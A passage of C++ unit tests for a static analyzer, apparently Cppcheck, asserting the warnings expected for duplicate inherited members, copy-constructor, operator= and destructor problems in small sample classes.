SWibble{};\\n\"\n \" typedef SWibble wibble;\\n\"\n \"}\\n\"\n \"namespace test2 {\\n\"\n \" struct SWibble : public test1::wibble {\\n\"\n \" int Value;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9957\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" public:\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"class Derived1: public Base {\\n\"\n \" public:\\n\"\n \" int j;\\n\"\n \"};\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \" int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:10:9]: (warning) The class 'Derived2' defines member variable with name 'i' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n // don't crash on recursive template\n checkDuplInheritedMembers(\"template\\n\"\n \"struct BitInt : public BitInt { };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash on recursive template\n checkDuplInheritedMembers(\"namespace _impl {\\n\"\n \" template \\n\"\n \" struct fn_traits;\\n\"\n \"}\\n\"\n \"template \\n\"\n \"struct function_traits\\n\"\n \" : public _impl::fn_traits> {};\\n\"\n \"namespace _impl {\\n\"\n \" template \\n\"\n \" struct fn_traits\\n\"\n \" : public fn_traits {};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10594\n checkDuplInheritedMembers(\"template struct A { bool a = true; };\\n\"\n \"struct B { bool a; };\\n\"\n \"template<> struct A<1> : B {};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct B {\\n\"\n \" int g() const;\\n\"\n \" virtual int f() const { return g(); }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g() const;\\n\"\n \" int f() const override { return g(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:6:9]: (warning) The struct 'D' defines member function with name 'g' also defined in its parent struct 'B'. [duplInheritedMember]\\n\",\n errout_str());\n\n checkDuplInheritedMembers(\"struct B {\\n\"\n \" int g() const;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g(int) const;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct S {\\n\"\n \" struct T {\\n\"\n \" T() {}\\n\"\n \" };\\n\"\n \"};\\n\"\n \"struct T : S::T {\\n\"\n \" T() : S::T() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct S {};\\n\" // #11827\n \"struct SPtr {\\n\"\n \" virtual S* operator->() const { return p; }\\n\"\n \" S* p = nullptr;\\n\"\n \"};\\n\"\n \"struct T : public S {};\\n\"\n \"struct TPtr : public SPtr {\\n\"\n \" T* operator->() const { return (T*)p; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct B { virtual int& get() = 0; };\\n\" // #12311\n \"struct D : B {\\n\"\n \" int i{};\\n\"\n \" int& get() override { return i; }\\n\"\n \" const int& get() const { return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\" // #12353\n \" public:\\n\"\n \" void One();\\n\"\n \" void Two();\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" void Two() = delete;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkCopyConstructor(...) checkCopyConstructor_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkCopyConstructor_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings3, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings3, this);\n checkClass.copyconstructors();\n }\n\n void copyConstructor1() {\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(const F &f) : p(f.p), c(f.c)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(f.p)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" F(char *str)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,str);\\n\"\n \" }\\n\"\n \" F&operator=(const F&);\\n\"\n \" ~F();\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F(const F &f) {\\n\"\n \" p = f.p;\\n\"\n \" }\\n\"\n \" F(char *str) {\\n\"\n \" p = malloc(strlen(str)+1);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory. [copyCtorPointerCopying]\\n\"\n \"[test.cpp:3] -> [test.cpp:7]: (warning) Copy constructor does not allocate memory for member 'p' although memory has been allocated in other constructors.\\n\",\n \"[test.cpp:4:7]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory. [copyCtorPointerCopying]\\n\"\n , errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(const F &f) :p(f.p)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" F(char *str)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,str);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory.\\n\"\n \"[test.cpp:5] -> [test.cpp:10]: (warning) Copy constructor does not allocate memory for member 'p' although memory has been allocated in other constructors.\\n\",\n \"\"\n , errout_str());\n\n checkCopyConstructor(\"class kalci\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" kalci()\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" d=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" }\\n\"\n \" kalci(const kalci &f)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" d=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" ~kalci();\\n\"\n \" kalci& operator=(const kalci&kalci);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" strcpy(p,str);\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" strcpy(p,st);\\n\"\n \" d=(char *)malloc(100);\\n\"\n \" strcpy(p,string);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:14] -> [test.cpp:11]: (warning) Copy constructor does not allocate memory for member 'd' although memory has been allocated in other constructors.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *c;\\n\"\n \" F(char *str,char *st,char *string) {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" : p(malloc(size))\\n\"\n \" {\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *c;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" : p(malloc(size))\\n\"\n \" {\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:4]: (warning) Copy constructor does not allocate memory for member 'd' although memory has been allocated in other constructors.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F()\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" d=(char*)malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:8]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c;\\n\"\n \" const char *p,*d;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" {\\n\"\n \" p=str;\\n\"\n \" d=st;\\n\"\n \" c=(char *)malloc(strlen(string)+1);\\n\"\n \" strcpy(d,string);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" p=f.p;\\n\"\n \" d=f.d;\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(d,f.p);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F : E\\n\"\n \"{\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class E { E(E&); };\\n\" // non-copyable\n \"class F : E\\n\"\n \"{\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class E {};\\n\"\n \"class F : E {\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" F(F& f);\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F() : p(malloc(100)) {}\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\", errout_str());\n\n // #7198\n checkCopyConstructor(\"struct F {\\n\"\n \" static char* c;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor2() { // ticket #4458\n checkCopyConstructor(\"template \\n\"\n \"class Vector\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Vector() {\\n\"\n \" _M_finish = new _Tp[ 42 ];\\n\"\n \" }\\n\"\n \" Vector( const Vector<_Tp>& v ) {\\n\"\n \" }\\n\"\n \" ~Vector();\\n\"\n \" Vector& operator=(const Vector&v);\\n\"\n \" _Tp* _M_finish;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor3() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f) = delete;\\n\"\n \" F&operator=(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f) = default;\\n\"\n \" F&operator=(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The copy constructor is explicitly defaulted but the default copy constructor does not work well. It is recommended to define or delete the copy constructor. [noCopyConstructor]\\n\", errout_str());\n }\n\n void copyConstructor4() {\n checkCopyConstructor(\"class noncopyable {\\n\"\n \"protected:\\n\"\n \" noncopyable() {}\\n\"\n \" ~noncopyable() {}\\n\"\n \"\\n\"\n \"private:\\n\"\n \" noncopyable( const noncopyable& );\\n\"\n \" const noncopyable& operator=( const noncopyable& );\\n\"\n \"};\\n\"\n \"\\n\"\n \"class Base : private noncopyable {};\\n\"\n \"\\n\"\n \"class Foo : public Base {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor5() {\n checkCopyConstructor(\"class Copyable {};\\n\"\n \"\\n\"\n \"class Foo : public Copyable, public UnknownType {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class Copyable {};\\n\"\n \"\\n\"\n \"class Foo : public UnknownType, public Copyable {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor6() {\n checkCopyConstructor(\"struct S {\\n\"\n \" S() {\\n\"\n \" for (int i = 0; i < 5; i++)\\n\"\n \" a[i] = new char[3];\\n\"\n \" }\\n\"\n \" char* a[5];\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (warning) Struct 'S' does not have a copy constructor which is recommended since it has dynamic memory/resource management.\\n\"\n \"[test.cpp:4]: (warning) Struct 'S' does not have a operator= which is recommended since it has dynamic memory/resource management.\\n\"\n \"[test.cpp:4]: (warning) Struct 'S' does not have a destructor which is recommended since it has dynamic memory/resource management.\\n\",\n \"\",\n errout_str());\n }\n\n void deletedMemberPointer() {\n\n // delete ...\n checkCopyConstructor(\"struct P {};\\n\"\n \"class C {\\n\"\n \" P *p;\\n\"\n \"public:\\n\"\n \" explicit C(P *p) : p(p) {}\\n\"\n \" ~C() { delete p; }\\n\"\n \" void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:19]: (warning) Class 'C' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\"\n \"[test.cpp:6:19]: (warning) Class 'C' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n\n // free(...)\n checkCopyConstructor(\"struct P {};\\n\"\n \"class C {\\n\"\n \" P *p;\\n\"\n \"public:\\n\"\n \" explicit C(P *p) : p(p) {}\\n\"\n \" ~C() { free(p); }\\n\"\n \" void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (warning) Class 'C' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\"\n \"[test.cpp:6:17]: (warning) Class 'C' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n }\n\n void noOperatorEq() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n\n // defaulted operator=\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f) = default;\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The operator= is explicitly defaulted but the default operator= does not work well. It is recommended to define or delete the operator=. [noOperatorEq]\\n\", errout_str());\n\n // deleted operator=\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f) = delete;\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // base class deletes operator=\n checkCopyConstructor(\"struct F : NonCopyable {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void noDestructor() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" C* c;\\n\"\n \" F() { c = new C; }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" int* i;\\n\"\n \" F() { i = new int(); }\\n\"\n \" F(const F &f);\\n\"\n \" F& operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n checkCopyConstructor(\"struct Data { int x; int y; };\\n\"\n \"struct F {\\n\"\n \" Data* c;\\n\"\n \" F() { c = new Data; }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n // defaulted destructor\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f);\\n\"\n \" ~F() = default;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The destructor is explicitly defaulted but the default destructor does not work well. It is recommended to define the destructor. [noDestructor]\\n\", errout_str());\n\n // deleted destructor\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f);\\n\"\n \" ~F() = delete;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Check that operator Equal returns reference to this\n#define checkOpertorEqRetRefThis(...) checkOpertorEqRetRefThis_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOpertorEqRetRefThis_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings0, this);\n checkClass.operatorEqRetRefThis();\n }\n\n void operatorEqRetRefThis1() {\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return b; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:10:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis( // #11380\n \"struct S {\\n\"\n \" S& operator=(const S& other) {\\n\"\n \" i = []() { return 42; }();\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis2() {\n // ticket # 1323\n checkOpertorEqRetRefThis(\n \"class szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"szp &szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:5:11]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"NS::szp &NS::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:19]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" NS::szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:12]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" NS::szp 